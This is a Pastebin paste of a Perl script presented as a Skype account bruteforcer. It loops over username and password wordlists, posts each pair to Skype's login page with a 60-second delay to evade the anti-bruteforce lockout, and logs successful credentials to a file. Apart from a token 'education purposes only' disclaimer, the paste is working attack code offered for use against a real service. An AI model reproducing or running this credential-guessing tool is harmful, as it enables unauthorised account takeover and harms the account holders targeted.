Lulz-Tigre

skype_force

Jul 5th, 2016
213
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.60 KB | None | 0 0
  1. #!perl
  2. #With this program you can bruteforce skype accounts                                      
  3. #Author: Alexander Rachev (a.k.a matrix_killer)                        
  4. #Contact: matrix_k _at_ abv.bg                                     
  5. #Version: 3.0          
  6. #This is probably the first public skype bruteforcer                                   
  7. #Copyright: this program is under a Creative Commons Attribution 2.5 Bulgaria License.         
  8. #Greets: Bl0od3r, Acid_BDS, Alpha-fan and all other friends[they know who they are ;)]        
  9. #                    !WARNING!                                     
  10. #THIS PROGRAM IS MADE FOR EDUCATION PURPOSES ONLY ! I'M NOT RESPONSIBLE FOR YOUR ACTIONS !!!  
  11.  
  12. #http://search.cpan.org/~dland/Crypt-SSLeay-0.57/SSLeay.pm IS REQUIRED !!!!
  13. #The developers of skype are very fast in patching bugs and now there is a one minute anti-bruteforce protection.The only solution is sleep(60) and that is #what I have added
  14. #Yes, I know it's SLOW
  15.  
  16.  use Getopt::Std;
  17.  use HTTP::Request::Common qw(POST);
  18.  use LWP::UserAgent;
  19.  
  20.   $| = 1;
  21.  
  22.   getopts('u:p:');
  23.   our($opt_u,$opt_p);
  24.  
  25.   my $userlist = $opt_u;
  26.   my $passlist = $opt_p;
  27.  
  28.     if ($userlist eq "") {
  29.     print "\n";
  30.     print "***************************************************************************\n";
  31.     print "Skype Bruteforcer v3.0                                  \n";
  32.     print "By Alexander Rachev(a.k.a matrix_killer)                     \n";
  33.     print "usage: perl $0 -u <users file> -p <passwords file>                \n";
  34.         print "ex: perl $0 -u users.txt -p passwords.txt                          \n";
  35.     print "***************************************************************************\n\n";
  36.     exit (1);
  37.     }
  38.  
  39.     open(USERS, "<$userlist") || die ("Cannot open username file");
  40.     open(WORDS, "<$passlist") || die ("Cannot open password file");
  41.     @users= <USERS>;
  42.     @words= <WORDS>;
  43.     close(USERS);
  44.     close(WORDS);
  45.     $i=0;
  46.  
  47.  foreach $user (@users) {
  48.  chomp($user);
  49.  foreach $pass (@words) {
  50.  chomp($pass);
  51.  sleep(60);
  52.  $ua = LWP::UserAgent->new;
  53.  printf("\nTrying $user:$pass", ++$i);
  54.  my $req = POST 'https://secure.skype.com/account/login',
  55.                 [ invite_token => '', timezone_field => '', username => $user, password => $pass ];
  56.  
  57.  
  58.   my $res = $ua->request($req);
  59.  
  60.   if ($res->as_string =~ /cookiecheck/gi) {
  61.   open (LOG, ">>bruted_skype_accounts.txt");
  62.   $time = time();
  63.   $loctime = localtime($time);
  64.   print LOG "\n";
  65.   print LOG "Time: $loctime\n";
  66.   print LOG "username: $user\n";
  67.   print LOG "passowrd: $pass\n";
  68.   close(LOG);
  69.   }}}
  70.  
  71.   if (-e "bruted_skype_accounts.txt") {
  72.   print "\nA file named bruted_skype_accounts.txt was created in the directory\n\n";
  73.   }else{
  74.   print "\nSorry no matches\n\n";
  75.   }
Advertisement
Add Comment
Please, Sign In to add comment